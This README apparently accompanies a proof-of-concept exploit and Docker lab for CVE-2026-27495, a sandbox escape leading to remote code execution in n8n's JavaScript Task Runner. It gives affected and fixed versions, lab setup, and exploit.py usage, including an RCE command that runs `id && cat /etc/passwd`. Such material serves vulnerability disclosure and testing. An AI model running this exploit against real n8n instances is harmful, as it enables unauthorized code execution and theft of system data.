dexsemon/cve-2026-27495Proof-of-concept exploit and lab environment for CVE-2026-27495
Sandbox escape on n8n JavaScript Task Runner via host-realm object leak.
| CVE | CVE-2026-27495 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-94 — Code Injection |
| Affected | n8n < 1.123.22 / 2.0.0–2.9.2 / 2.10.0 |
| Fixed | 1.123.22 / 2.9.3 / 2.10.1 |
| Attack Surface | Code node (authenticated, Task Runners enabled) |
docker compose up -d
Wait ~15s for n8n to start, then open http://localhost:5678 and create an owner account (email: [email protected], password: TestPassword123!).
pip install requests
Probe sandbox escape :
python3 exploit.py --probe
RCE — uncomment NODE_FUNCTION_ALLOW_BUILTIN=* in docker-compose.yml, then restart:
docker compose down && docker compose up -d
python3 exploit.py --cmd "id && cat /etc/passwd"
First-time setup (creates owner account automatically):
python3 exploit.py --setup --probe
Options:
--url URL n8n base URL (default: http://localhost:5678)
--email EMAIL Login email (default: [email protected])
--password PASSWORD Login password
--cmd CMD OS command to execute (RCE)
--setup Create owner account (fresh instance)
--probe Probe sandbox escape only (no RCE, works with any config)
--proxy PROXY HTTP proxy (e.g. http://127.0.0.1:8080)
For authorized security research and educational purposes only.